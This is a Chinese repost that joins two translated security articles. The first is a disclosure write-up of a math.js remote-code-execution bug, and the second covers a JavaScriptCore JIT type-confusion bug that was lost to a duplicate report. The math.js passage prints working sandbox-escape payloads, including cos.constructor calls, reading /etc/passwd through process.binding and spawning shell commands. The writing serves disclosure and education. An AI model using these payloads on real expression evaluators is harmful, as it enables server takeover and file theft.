如何在math.js中进行远程代码执行&漏洞的预防性修补
栏目: JavaScript · 发布时间: 6年前
内容简介:本文简要描述了我们如何发现、利用以及提交远程代码执行(RCE)漏洞,希望这篇文章能够成为查找漏洞的指南,并且我们将一直用负一种负责任的态度报告漏洞。在使用math.js API(尤其是,
原文链接:https://capacitorset.github.io/mathjs/ 原文链接:https://www.zerodayinitiative.com/blog/2018/10/31/preventative-patching-produces-pwn2own-participants-panic
前言
本文简要描述了我们如何发现、利用以及提交远程代码执行(RCE)漏洞,希望这篇文章能够成为查找漏洞的指南,并且我们将一直用负一种负责任的态度报告漏洞。
第一步:发现
在使用math.js API( http://api.mathjs.org/v1/?expr=expression-here
)时,我们发现它似乎在执行JavaScript代码,但在这过程中有一些限制:
> !calc cos Result: function > !calc eval Result: function > !calc eval("x => x") Error: Value expected (char 3) > !calc eval("console.log") Error: Undefined symbol console > !calc eval("return 1") Result: 1
尤其是, eval
似乎被一个安全版取代了, Function
和 setTimeout/ setInterval
也无效了:
> !calc Function("return 1") Error: Undefined symbol Function > !calc setTimeout Error: Undefined symbol Function
第二步:开发
既然我们发现了执行代码的过程中存在某种限制,我们就得想办法避免。
有四种标准方法可以用来执行中的代码,分别是:
- eval("code")( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval )
- new Function("code")( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function )
- setTimeout("code", timeout)( https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout )
- setInterval("code", interval)( https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval )
在math.js环境中,我们无法直接访问它们,因为它们没有被定义,或者是因为它们已经使用安全函数重新定义了。但是,我们可以间接访问它们:值得注意的是, Function
可以作为现有函数的构造函数间接访问——这是引导我们发现漏洞的关键线索。
例如, Function("return 1")
可以替换为 Math.floor.constructor("return 1")
。因此,要执行 return 1
,我们可以使用 Math.floor.constructor("return 1")()
。
我们知道在math.js环境中 cos
被定义为一个函数,所以我们使用了:
> !calc cos.constructor("return 1")() Result: 1
我们成功了!
这里我们可以使用 require-d
引入一些模块,然后获得对操作系统的访问权限,对吧?但其实没那么快:虽然math.js API服务器在Node.js环境中运行,但不知道怎么回事我们无法使用 require
。
> !calc cos.constructor("return require")() Error: require is not defined
但是,我们可以使用 process
,它有一些特别棒的功能:
> !calc cos.constructor("return process")() Result: [object process] > !calc cos.constructor("return process.env")() Result: { "WEB_MEMORY": "512", "MEMORY_AVAILABLE": "512", "NEW_RELIC_LOG": "stdout", "NEW_RELIC_LICENSE_KEY": "<redacted>", "DYNO": "web.1", "PAPERTRAIL_API_TOKEN": "<redacted>", "PATH": "/app/.heroku/node/bin:/app/.heroku/yarn/bin:bin:node_modules/.bin:/usr/local/bin:/usr/bin:/bin:/app/bin:/app/node_modules/.bin", "WEB_CONCURRENCY": "1", "PWD": "/app", "NODE_ENV": "production", "PS1": "\[\033[01;34m\]\w\[\033[00m\] \[\033[01;32m\]$ \[\033[00m\]", "SHLVL": "1", "HOME": "/app", "PORT": "<redacted>", "NODE_HOME": "/app/.heroku/node", "_": "/app/.heroku/node/bin/node" }
虽然 process.env
包含了一些有趣的信息,但它实际上并没有什么用:我们需要更深入地探究,并且用上 process.binding
,这将会向操作系统公开Javascript绑定。尽管它们没有被正式记录并且在内部使用,但是可以通过读取Node.js源代码来重建它们的行为。例如,我们可以使用 process.binding("fs")
来读取OS上的任意的一个文件(在具有适当权限的情况下):
为简洁起见,我们将跳过 !calc cos.constructor("code")
,并且相应的,用粘贴的相关JS代码进行替换。
> buffer = Buffer.allocUnsafe(8192); process.binding('fs').read(process.binding('fs').open('/etc/passwd', 0, 0600), buffer, 0, 4096); return buffer root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh <more users...>
我们差不多完成了:现在我们需要找到一种可以打开 shell 、并且可以运行任意命令的方法。如果你有使用Node.js的经验,你可能知道 child_process
,它可以用来生成带有 spawnSync
的进程:我们只需要使用操作系统绑定复制这个功能(请记住我们现在不能使用 require
)。
这看起来容易的多了:您只需获取 child_process
的源代码,删除不需要的代码(未使用的函数和错误的处理),缩小它,并通过API运行它。
从这里,我们可以生成任意进程并且运行shell命令:
> return spawnSync('/usr/bin/whoami'); { "status": 0, "signal": null, "output": [null, u15104, ], "pid": 100, "stdout": u15104, "stderr": }
第三步:提交漏洞
既然我们发现了一个漏洞并尽可能地在利用它,现在我们得想办法如何处理它。由于我们开发它仅仅是出于一种兴趣,并且我们没有任何恶意,所以我们采用了“白帽子”方法,并将其提交给维护者。我们通过他的GitHub上的个人资料中列出的电子邮件地址与他取得了私下联系,并发送了以下的详细信息:
1.漏洞的简短描述(math.js中的远程代码执行缺陷);
2.一个示例攻击,解释它是如何工作的(一份关于为什么 cos.constructor("code")()
可以有效运行,以及 process.bindings
可以带来什么的总结报告);
3.在服务器上实际演示(包括 whoami
和 uname -a
输出);
4.关于修复它的一些建议(例如,使用 vmNode.js
中的模块)。
在两天的时间里,我们与作者一起合作来帮助修复漏洞。值得注意的是,他在 2f45600
中推出一个修复程序后,我们在 3c3517d
中发现了一个类似的解决方法(如果你不能直接使用构造函数,请使用 cos.constructor.apply(null, "code")()
)。
时间线
2017年3月26日22:20 CEST:首次成功发掘漏洞
2017年3月29日14:43 CEST:向作者提交漏洞
2017年3月31日12:35 CEST:提交了第二个漏洞(.apply)
2017年3月31日13:52 CEST:两个漏洞都已修复
此漏洞由@CapacitorSet和@denysvitali发现。感谢@josdejong及时修复漏洞,感谢JSFuck发现了这个 [].filter.constructor
。
最后还有一份来自Jos的澄清:math.js并不像之前想象的那样执行JavaScript代码,它有自己的解析器,这个解析器拥有自己的数学导向语法和运算符以及函数,当然这些函数仍然是JavaScript函数。
Pwn2Own的预防性漏洞修补
Pwn2Own的每个条目都让人焦虑的一个原因是每个漏洞都要经过重复检查的过程。即使参赛者成功的展示了对漏洞的利用,如果我们或供应商已经知道漏洞,这也不算是成功。研究人员可能会感到非常紧张,因为无法知道其他人是否已经提交了漏洞。当现在我们开始为 Pwn2Own Tokyo
做准备时,我将公开我发现的一个Bug。
该漏洞存在于 WebKit’s JavaScript implementation
, JavaScriptCore
中的JIT引擎中。具体而言,该漏洞位于 Data Flow Graph(DFG)
层中。
在分析该漏洞之前,让我们确保我们可以对 JavaScriptCore
快速上手。 JavaScriptCore
支持的函数有一个优化的变体,称为 Intrinsic
,它有专属于自己的操作,例如, new Uint32Array
最终可能由 NewTypedArray
处理,而 Math.abs(x)
最终可能由 ArithAbs
处理。在 JavaScriptCore's JIT
引擎中,这些函数主要出现在两个文件中: DFGAbstractInterpreterInlines.h
和 DFGClobberize.h
。
顺便提一下,副作用指操作本身之外,可能会发生的任何事情。举一个例子, ArithAbs
函数需要用一个参数并返回该参数的绝对值,就像 Math.abs
。因此,这意味着执行ArithAbs函数中不应该分配数组。有效的操作以几种不同的方式表示,在 DFGAbstractInterpreterInlines.h
中,它们表示为 clobberWorld
,而在 DFGClobberize.h
中,它们分别表示为 read(World)
和 write(Heap)
。我们可以掩饰在这些调用期间发生的事情,并关注它们破坏已知状态的事实,使得JIT引擎在函数执行后不会做出任何假设。
漏洞发现
今年4月我去迪拜OPCDE的途中,我阅读了DFG字节代码解析器并在该 handleTypedArrayConstructor
方法名中碰巧发现了这个:
在这里, blah
是一个非缓冲对象,这激起了我的好奇心,于是我赶紧看了看 DFGAbstractInterpreterInlines.h
以及 DFGClobberize.h
,从而确定 NewTypedArray
函数是否被当作有效代码进行处理。
这是我在 DFGAbstractInterpreterInlines.h
中所看到的:
这是非常符合我的预期。如果 TypedArray
构造函数的参数是 UntypedUse
,那么将会发生 clobberWorld
的调用。
然而,当我看到 DFGClobberize.h
时,有趣的事情发生了:
作为一个对比版本,以下是经过 ArithAbs
处理的 Math.abs
,以及其如何在 DFGClobberize.h
中被处理:
看到不同了吗?通过该 ArithAbs
操作,如果参数 to Math.abs
不是 integer
或 double
,则 clobberize
会将操作标记为有效。 NewTypedArray
假设 DFGClobberize
没有将该操作标记为有效,而是由抽象解释器将其标记为有效。由于操作没有正确建模,我们可以让JIT引擎混淆数组的类型,这样它就可以让我们将指针指的那个值读为浮点数,或者写入可以解释为指针值的浮点数。最后,如果精心设计的假的对象破坏了JIT引擎设置的假设,这种类型的混淆可能导致代码执行。
细心的读者会注意到我没有为此漏洞提供任何CVE或ZDI标识符,这是由于我在本文开头简要提到的冲突。在我发现这个错误的六天后, git commit 36dd2d2b40c5640412f39efcb6fd081a56016a5d
被引入以试图发现 clobberize
和抽象解释器之间不一致的地方。作为被提交的一部分,以下内容添加到 DFGClobberize.h
:
奇怪的是,在提交两天后,我们发现已经有研究人员发现并提交了相同的漏洞。
撞洞是普遍存在的现象,特别是当许多人都在寻找类似的领域时。随着 Pwn2Own Tokyo
即将到来,希望每个参与者都可以成功应对比赛之前发布的补丁。
你可以在Twitter上找到我@WanderingGlitch,并跟随团队获取最新的漏洞利用技术和安全补丁。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 趣视频:内核热修补
- Google 修补多项 Android 高危漏洞
- delphi – 如何在Classes.pas中修补方法
- 美国土安全部规定联邦机构漏洞修补具体时间
- Linux Kernel 4.15 正式发布,修补幽灵熔断漏洞
- 在威胁出现之前干掉它! IBM开发最新虚拟修补漏洞技术
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。